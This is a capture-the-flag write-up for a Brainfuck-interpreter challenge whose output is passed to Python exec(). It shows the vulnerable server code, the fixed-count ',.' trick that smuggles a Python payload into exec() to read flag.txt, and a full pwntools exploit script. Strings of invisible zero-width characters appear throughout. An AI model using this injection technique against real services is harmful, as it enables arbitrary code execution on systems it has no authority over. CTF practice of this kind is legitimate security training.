← Back to Writeups
CUSTOMMediumMisc

Escape via Brainfuck

XESXOR9/2/20263 min read
#misc#custom#medium#bf_cat_to_rce#exec_sink_injection#fixed_count_cat#single_packet_send

Escape via Brainfuck

Platform: bug-makers | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: bf_cat_to_rce, exec_sink_injection, fixed_count_cat, single_packet_send

Summary

Task: Brainfuck interpreter whose output is passed to Python exec(); input is restricted to the 8 BF chars and 100 bytes. Solution: use a fixed-count BF cat (',.' repeated) to echo a Python payload from stdin into exec(), reading flag.txt — sent in a single packet to dodge PTY CRLF/EOF pitfalls.

Escape via Brainfuck — bug-makers

Description

Пробейте валидацию ввода и прочитайте flag.txt, который лежит на сервере рядом со скриптом, с которым вы общаетесь.

English summary: A Brainfuck interpreter is exposed over nc. Bypass the input validation and read flag.txt, which sits on the server next to the script.

  • Connection: nc 31.207.77.216 4028 (container restarts every 30 min)
  • Flag format: BugCTF{...}

Analysis

The provided bf.py is a standard Brainfuck interpreter (TAPE_SIZE=1000000, CELL_MODULO=256, the canonical 8 instructions). The dangerous part is the main block: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
code = input("> ")
if len(code) > 100:
    print("Лимит ввода 100 символов")   # input limit 100 chars
    sys.exit(0)
if not all(c in set("+-<>[],.") for c in code):
    print("Неверный символ")            # invalid char
    exit(0)
code = bf(code)        # run the BF interpreter; code now = its OUTPUT string
exec(code)             # <-- the BF output is executed as Python

Two relevant interpreter behaviors:

  • , (input): char = sys.stdin.read(1); value = ord(char) if char else 0; tape[ptr] = value % 256
  • . (output): appends chr(tape[ptr]) to the output buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability — exec() sink fed by BF output

The interpreter's output string is passed directly to exec(). The BF source is constrained to <=100 chars from +-<>[],., but the BF output is not constrained at all. Because BF has , (read a byte from stdin) and . (emit a byte), a tiny BF program can act as a cat: read attacker bytes from stdin and echo them straight into the output buffer, which is then exec()-uted. The restricted esolang jail collapses into arbitrary Python RCE. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Goal: get exec() to run print(open('flag.txt').read()).

A BF "cat" reads bytes from stdin and emits them. The Python payload is supplied on stdin after the BF program, so the interpreter copies it verbatim into the output that exec receives.

Pitfalls encountered (the real lessons)

  1. PTY CRLF translation. The remote runs behind a PTY that translates/echoes \n → \r\n. \r is not in the allowed BF charset, so if a carriage return lands inside the first input line, the validator prints Неверный символ and exits. Fix: send raw \n only (pwntools send), never CRLF.

  2. Looping cat ,[.,] HANGS. This loops until it reads a 0 byte (EOF). EOF is not reliably delivered to the PTY-wrapped stdin — neither TCP shutdown nor Ctrl-D / 0x04 terminated the loop, so exec was never reached. Several attempts wasted here.

  3. Two-packet send desyncs. Sending the BF program and the payload as separate packets (with delays) failed: the input() line buffering vs sys.stdin.read(1) byte reads interact unreliably over the PTY.

  4. Winning method — fixed-count cat, one packet. Use a non-looping cat with an exact iteration count, and send everything at once:

    • payload print(open('flag.txt').read()) = 30 chars
    • bf = ,. repeated 30 times = 60 chars (under the 100-char limit)
    • send bf + "\n" + payload + "\n" in a single packet, then sleep, shutdown('send'), recvall. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    Since ,. has no loop, it always terminates after exactly 30 read/echo pairs, so exec is guaranteed to run regardless of EOF delivery.

Sanity check

During debugging, sending payload 1/0 (bf = ,.,.,.) produced a ZeroDivisionError traceback out of exec, confirming code injection worked before extracting the flag.

Exploit

python
#!/usr/bin/env python3
from pwn import *
import time

context.log_level = 'warn'

payload = b"print(open('flag.txt').read())"   # 30 chars
bf = b',.' * len(payload)                      # 60 chars, <= 100
assert len(bf) <= 100
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r = remote('31.207.77.216', 4028)
r.recvuntil(b'> ', timeout=5)
r.send(bf + b'\n' + payload + b'\n')            # single packet!
time.sleep(2)
r.shutdown('send')
print(r.recvall(timeout=15))

Output contained: BugCTF{REDACTED} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍